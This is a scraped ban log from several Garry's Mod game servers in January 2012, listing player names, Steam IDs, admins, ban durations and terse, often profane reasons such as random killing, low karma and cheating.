+Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:57 am 28-01-12 Gin Firkin King STEAM_0:0:5226932 mass rdm + karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +10:37 pm 27-01-12 Augany AEF STEAM_0:1:20563973 Idiot Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:14 pm 27-01-12 Los Proddish STEAM_0:0:41202056 RDM +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +6:52 pm 27-01-12 Hunter STEAM_0:0:40596784 Detective RDM other +Detective and disconnected remember? I do! +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:35 pm 27-01-12 Unknown STEAM_0:0:3565304 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:35 pm 27-01-12 Unknown STEAM_0:0:3565304 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:24 pm 27-01-12 Unknown STEAM_0:1:28523174 not a member but got the +tags on +[SP]+ Hatcake Fretta|Tigergruppe Kommand GarryWare +3:11:20 Unbanned +5:31 pm 27-01-12 McMuffin[NL] STEAM_0:0:26247365 Rdming cunt +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:10 am 27-01-12 Unknown STEAM_0:1:41744349 RDM and quit, Ching +Chang +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +8:03 pm 26-01-12 Ghostsniper jura-b STEAM_0:1:39402013 mass RDM as +the D +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:51 pm 26-01-12 Free Fall [TR] -.- STEAM_0:0:26486263 RDMing T ' s +as a T Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:31 pm 26-01-12 ^IK^SNIKA( Metro Cop) STEAM_0:0:41511179 MASS RDM as +a detective +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:15 Unbanned +10:10 pm 25-01-12 undeadâ??â??â??â??â?? STEAM_0:1:30157286 Idiot who +doesn ' t know what a team is. Wigbig Killa's Zombie Survival Server +Zombie Survival 0:1:0 Unbanned +5:48 pm 25-01-12 Unknown STEAM_0:0:43807368 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +5:46 pm 25-01-12 Unknown STEAM_0:1:48172552 mass rdm as the D and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:11:40 Unbanned +5:24 pm 25-01-12 Advanced Creativity STEAM_0:1:25675380 Karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:02 pm 25-01-12 Unknown STEAM_0:0:15236914 KARMA man that was low! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +3:00 am 25-01-12 [Tiber]â??(â?¢Ã·[marpode]÷â?¢) STEAM_0:0:33285292 +Alt of banned ID STEAM_0:1:21523239 (Console) Official Zombified +World|Lvl Cap +10 Zombified World Permanent Banned +1:20 am 25-01-12 Unknown STEAM_0:0:37916561 teamkilled and then +left MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:5:20 Unbanned +12:10 am 25-01-12 Nforce-SSP STEAM_0:1:27629877 bad score last match +plus killed D(P), not responding so me either MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +11:49 pm 24-01-12 the killer (No Voice) STEAM_0:1:41154609 rdm + +tard =? MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:4:0 Unbanned +11:42 pm 24-01-12 9 0 0 1 STEAM_0:0:42044871 Rdm + tard = ? MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 +Unbanned +8:57 pm 24-01-12 an_owl STEAM_0:0:22746878 Spellknite +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:57 pm 24-01-12 «[DC]» :D lol :D STEAM_0:1:32425210 Spellknite +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +4:59 pm 24-01-12 Unknown STEAM_0:1:45129586 rdm and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:00 pm 24-01-12 Gamzee (no mouse) STEAM_0:1:30162895 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:40 Unbanned +10:11 pm 23-01-12 matysiak28 STEAM_0:1:36685180 Random crowbarring, +low karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:40 pm 23-01-12 Unknown STEAM_0:0:20934276 rmd and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +4:22 pm 23-01-12 N0T. >:) STEAM_0:0:28303601 shh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:23:20 Unbanned +3:33 pm 23-01-12 dude (LT) STEAM_0:1:45001338 chill pill needed MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:03 pm 23-01-12 Omppu1 STEAM_0:0:47669625 teamkiller x2 MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +3:45 pm 22-01-12 Unknown STEAM_0:1:18037535 Deleting base +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +4:4:0 Unbanned +2:58 pm 22-01-12 Unknown STEAM_0:0:40774588 Proppush, Welding other +peoples props, Asshole +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 4:4:0 Unbanned +1:14 pm 22-01-12 Unknown STEAM_0:1:25961258 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:33831311 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:18843517 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:11151054 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:25624107 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:30673177 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:14790879 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:13250571 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:28657939 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:34087705 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:21421892 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:29493653 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:38689930 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:17505658 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:37018013 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:38846072 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:8284163 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:37 pm 22-01-12 Unknown STEAM_0:0:26652185 Prop Pushing +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 0:13:20 +Unbanned +10:24 pm 21-01-12 tommyilmejo STEAM_0:1:45125258 RDM +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:52 pm 21-01-12 L1DDER STEAM_0:1:24386537 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:11 Unbanned +8:41 pm 21-01-12 Unknown STEAM_0:0:38868842 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:42 pm 21-01-12 dablic STEAM_0:0:28824915 Cheat: Speedhack +(Console) Killa's Zombie Survival Server Zombie Survival Permanent +Banned +7:15 pm 21-01-12 Unknown STEAM_0:0:16001285 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +6:17 pm 21-01-12 Pohujistas STEAM_0:0:10815563 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:13 pm 21-01-12 shaTTered STEAM_0:1:737437 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:07 pm 21-01-12 al_chelmodeev STEAM_0:1:16804959 Rdm'd a traitor, +using elevtaor to rdm Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:51 pm 21-01-12 Failbunneh STEAM_0:1:27882750 stupid or something +rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +11:54 am 21-01-12 Unknown STEAM_0:1:27079143 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +11:29 am 21-01-12 Ð?еÑ?ваÑ? Ñ?меÑ?Ñ?Ñ? STEAM_0:1:38332908 +RDMing +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +10:40 am 21-01-12 Unknown STEAM_0:0:13644869 Deleting base +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +4:4:0 Unbanned +12:44 am 21-01-12 Sgt. Pepper STEAM_0:0:13324704 Alt of banned ID +STEAM_0:1:12327042 (Console) Fretta|Tigergruppe Kommand Puzzle +5:1:54 Unbanned +11:08 pm 20-01-12 Con-Troller STEAM_0:1:31563799 Alt of banned ID +STEAM_0:1:7158623 (Console) Fretta|Tigergruppe Kommand Deathrun +0:23:24 Unbanned +10:32 pm 20-01-12 [Zhadow] Soart STEAM_0:1:7158623 RDM. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:40 pm 20-01-12 Unknown STEAM_0:1:16170366 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:39 pm 20-01-12 Isaacdobo STEAM_0:0:41228426 RDMing +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:46 pm 20-01-12 sek330(rus) STEAM_0:0:44972682 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +2:44 pm 20-01-12 Unknown STEAM_0:1:21372015 RDM then leaving Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:05 pm 19-01-12 -hg- jambo STEAM_0:0:30577331 RDM'd a professor, +goodbye Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:18:0 Unbanned +2:39 am 19-01-12 chicken STEAM_0:1:12327042 Mass RDM. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +11:40 pm 18-01-12 Zephyr STEAM_0:1:19529778 Teamkilling and not +giving guns back +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 3:11:20 Unbanned +9:35 pm 18-01-12 [Name deleted by SOPA] STEAM_0:1:34160141 rdm x2 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:20 Unbanned +5:20 pm 18-01-12 Unknown STEAM_0:0:23589275 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +4:35 pm 18-01-12 Unknown STEAM_0:0:38893214 Leaving during Faction +war +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:2:0 Unbanned +4:05 pm 18-01-12 Unknown STEAM_0:1:32595794 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +1:56 pm 18-01-12 Sangreider STEAM_0:0:44965201 RDMing as D +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +1:06 pm 18-01-12 YA MUM STEAM_0:0:34681094 RDMing +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:40 +Unbanned +11:18 pm 17-01-12 Unknown STEAM_0:0:42003585 rdm and reported to me +before MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:39 pm 17-01-12 [DC] Xenonmorth STEAM_0:0:26973706 Attacking from +within trader circle ( knows rules well ) +[SP]+ Marked One [SK] +Official Zombified World|Lvl Cap +10 Zombified World 6:16:59 Unbanned +2:58 pm 17-01-12 runs STEAM_0:1:24335624 Trader blocking, moving base +to kill loners. Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +4:40 am 17-01-12 Grim STEAM_0:1:29826193 Alt of banned ID +STEAM_0:0:38403849 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:02 pm 16-01-12 icem@n STEAM_0:1:47887765 Constant RDM and low +karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +4:49 pm 16-01-12 Unknown STEAM_0:0:12868819 Killing fellow traitor +and low karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +4:45 pm 16-01-12 Kotova STEAM_0:0:27502470 RDM and low karma. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 pm 15-01-12 my ass STEAM_0:1:42176271 Troll rdmer Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +9:36 pm 15-01-12 [ReVolt] payneÏ?кilleÑ? STEAM_0:0:8169697 Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:35 pm 15-01-12 Three-Dog STEAM_0:0:15261031 fuck off then +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:57 pm 15-01-12 CILLYByTE STEAM_0:1:31866695 stop fucking around! ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +2:28 pm 15-01-12 Toomanyrainbows! STEAM_0:1:25079974 rdm as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:7:20 Unbanned +1:25 pm 15-01-12 -[Hifi]- Bobbo STEAM_0:1:40281893 Alt of banned ID +STEAM_0:1:22010562 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +7:51 am 15-01-12 rivet.lust STEAM_0:0:15435598 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:44 am 15-01-12 minibinaz STEAM_0:0:32307478 yes we can hear you ++[SP]+ Kaede Official Zombified World|Lvl Cap +10 Zombified World +0:2:0 Unbanned +9:01 pm 14-01-12 kingleonthegreat STEAM_0:1:48288538 annoying people +doing puzzles serious +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Puzzle 0:0:10 Unbanned +5:48 pm 14-01-12 +[SP]+ Legendary Fox STEAM_0:1:30281009 Deleting +base Llixo Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +4:51 pm 14-01-12 | SunDiegoâ?¢ STEAM_0:0:22173765 mass RDM +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +4:42 pm 14-01-12 Unknown STEAM_0:0:21275371 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +4:22 pm 14-01-12 Unknown STEAM_0:1:22515279 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:6:0 +Unbanned +4:03 pm 14-01-12 Protal1ty STEAM_0:0:13871772 RDM +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:43 pm 14-01-12 DiViNe_IcIcLe STEAM_0:1:4677444 RDMing as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:7:20 Unbanned +1:28 pm 14-01-12 â?­ Puutarhuri â?­ STEAM_0:1:25572007 Alt of banned +ID STEAM_0:0:37126029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:44 am 14-01-12 iny0ureye STEAM_0:0:30333183 rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +10:05 pm 13-01-12 that irish guy STEAM_0:0:33838172 stop +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +9:46 pm 13-01-12 Suhayll STEAM_0:0:29555116 reseting while people are +doing a puzzle +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle +0:0:10 Unbanned +7:07 pm 13-01-12 {Pk} SaiBhoeLeo {SWE} STEAM_0:1:34685737 yes MAD +MANN Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +6:41 pm 13-01-12 Eli STEAM_0:1:43593884 come back in 1 minute Joo. +Fretta|Tigergruppe Kommand Puzzle 0:0:1 Unbanned +6:40 pm 13-01-12 [NL]Moustafa STEAM_0:1:42841709 Saphira wants you ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +6:39 pm 13-01-12 FUS DO DAH! Niels Bais STEAM_0:0:46075519 Joo. +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +5:12 pm 13-01-12 $pike STEAM_0:0:26551046 Alt of banned ID +STEAM_0:0:19817494 (Console) Fretta|Tigergruppe Kommand Deathrun +0:0:29 Unbanned +4:42 pm 13-01-12 DARK 897 PL STEAM_0:0:19817494 trying to rdm x2 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:03 pm 13-01-12 KradziejsÅ?aw (JZD) [PL] STEAM_0:0:5481823 rdm +Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +4:02 pm 13-01-12 KRADZIE IS RDMR GNNA KOS U BITC +STEAM_0:1:42934133 rdm Llixo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +3:54 pm 13-01-12 ebruakil2003 STEAM_0:1:41542105 Alt of banned ID +STEAM_0:1:32830571 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:24 Unbanned +3:39 pm 13-01-12 (Y-E-C)Trollone STEAM_0:1:32830571 retard Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +2:00 pm 13-01-12 [C]yпep KpÑ?c[A] (RUS,FIN) STEAM_0:0:37126029 +Rdming like a tard Llixo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:15 pm 12-01-12 Unknown STEAM_0:0:26744355 horrid karma with a ton +of shitty RDMS MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +9:10 pm 12-01-12 RayX STEAM_0:1:27001515 Good work RDMing a super +admin Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:04 pm 12-01-12 Hunter STEAM_0:0:40596784 troll MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +6:55 pm 12-01-12 Dead_System STEAM_0:0:43025957 Crowbaring like a +boss Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +6:25 pm 12-01-12 Colewill STEAM_0:1:33265347 Calling random KoS +Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:6:40 +Unbanned +4:16 pm 12-01-12 (Y-E-C)Trollone STEAM_0:1:32830571 Trolldick +Llixo Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +1:04 am 12-01-12 [VECTOR] TEL-OS STEAM_0:1:25823393 Moving Base while +it is under attack +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 2:2:0 Unbanned +10:22 pm 11-01-12 (BPC)Cpt.Scouter STEAM_0:1:25348501 OH NOES HES GNA +GET DA OWNERZ Llixo Official Zombified World|Lvl Cap +10 Zombified +World 0:8:20 Unbanned +5:41 pm 11-01-12 Unknown STEAM_0:1:24747537 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +5:17 pm 11-01-12 Unknown STEAM_0:1:16078943 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +3:55 pm 11-01-12 glimberg STEAM_0:1:21180535 Killing T while +Traitor +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +3:31 pm 11-01-12 I am a mad bat (^-_-^) STEAM_0:0:30266300 RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:21 pm 11-01-12 omg box STEAM_0:1:39949553 stupid sums this up MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +2:07 pm 11-01-12 Christinio â?? STEAM_0:0:25776426 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:53 pm 11-01-12 MRsveden STEAM_0:0:27111442 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:14 pm 10-01-12 G.B. Hindert STEAM_0:0:17086047 RDM +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:24 pm 10-01-12 Nice.C STEAM_0:0:3584775 Fucking retarded Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +3:19 pm 10-01-12 TheKillCold STEAM_0:1:19984007 RDMing +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +10:12 pm 09-01-12 Unknown STEAM_0:1:39979684 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:14133131 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:32540524 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:32269281 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:19353043 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:44321488 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:1567954 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:33749817 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:33917884 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:19856818 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:07 pm 09-01-12 Unknown STEAM_0:0:5226387 Cheat: speedhack +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +8:50 pm 09-01-12 Fire STEAM_0:0:19368954 ASSHOLE!! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Puzzle 0:2:20 Unbanned +8:42 pm 09-01-12 wildhogs STEAM_0:0:5226387 Banned I kicked you +before for it, you continued Cutie Fretta|Tigergruppe Kommand +Puzzle 0:1:0 Unbanned +2:04 pm 09-01-12 darkball1 STEAM_0:0:15620064 rdm Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +1:34 am 09-01-12 Unknown STEAM_0:0:14259243 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +7:37 pm 08-01-12 ([BS-G]) jay STEAM_0:1:39063623 Faction exploiting, +being a donator doesn ' t mean you can do what you wish. Llixo +Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +6:26 pm 08-01-12 Unknown STEAM_0:0:35309960 And you too +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +6:22 pm 08-01-12 Unknown STEAM_0:0:34731259 DDoS this. +[SP]+ Marked +One [SK] Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:29 pm 08-01-12 ?¿?RIDDLER?¿? STEAM_0:1:42934133 Prop kill x2 +ColdFusion Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +3:27 pm 08-01-12 [NL]OmNomNom STEAM_0:1:30546176 Prop killing +ColdFusion Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +2:09 pm 08-01-12 zxluc STEAM_0:1:44706585 mass rdm + troll + spam ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +1:01 pm 08-01-12 Hunter STEAM_0:0:40596784 karma +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +5:15 am 08-01-12 Unknown STEAM_0:1:37828838 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:07 pm 07-01-12 the disturbing crap STEAM_0:0:24557761 RDMing +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:57 pm 07-01-12 Unknown STEAM_0:0:13968378 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:49 pm 07-01-12 Unknown STEAM_0:0:25701342 Ban request (Console) +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +3:39 pm 07-01-12 Unknown STEAM_0:1:20710616 Leaving forever +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +2:36 pm 07-01-12 Unknown STEAM_0:1:37401535 mass rdm as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:9:20 +Unbanned +1:59 pm 07-01-12 R Muff1N [Shambala] STEAM_0:1:13787699 Rdm / maybe +ghosting MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +12:13 pm 07-01-12 Unknown STEAM_0:0:41345701 rdm then left and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:7:20 Unbanned +12:51 am 07-01-12 erreur de la nature STEAM_0:1:22060408 Yea, now you +are banned Cutie Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +8:58 pm 06-01-12 Bear STEAM_0:1:19987406 RDMing +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:29 pm 06-01-12 erreur de la nature STEAM_0:1:22060408 fuck off +now +[SP]+ Hatcake Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:15 pm 06-01-12 Ololo STEAM_0:0:27091521 rdm on mass scale MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +7:56 pm 06-01-12 P0WNapple STEAM_0:0:34141345 karma +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:55 pm 06-01-12 Hunter STEAM_0:0:40596784 KARMA! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 Unbanned +5:44 pm 06-01-12 Isaacdobo STEAM_0:0:41228426 fuck off +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Puzzle 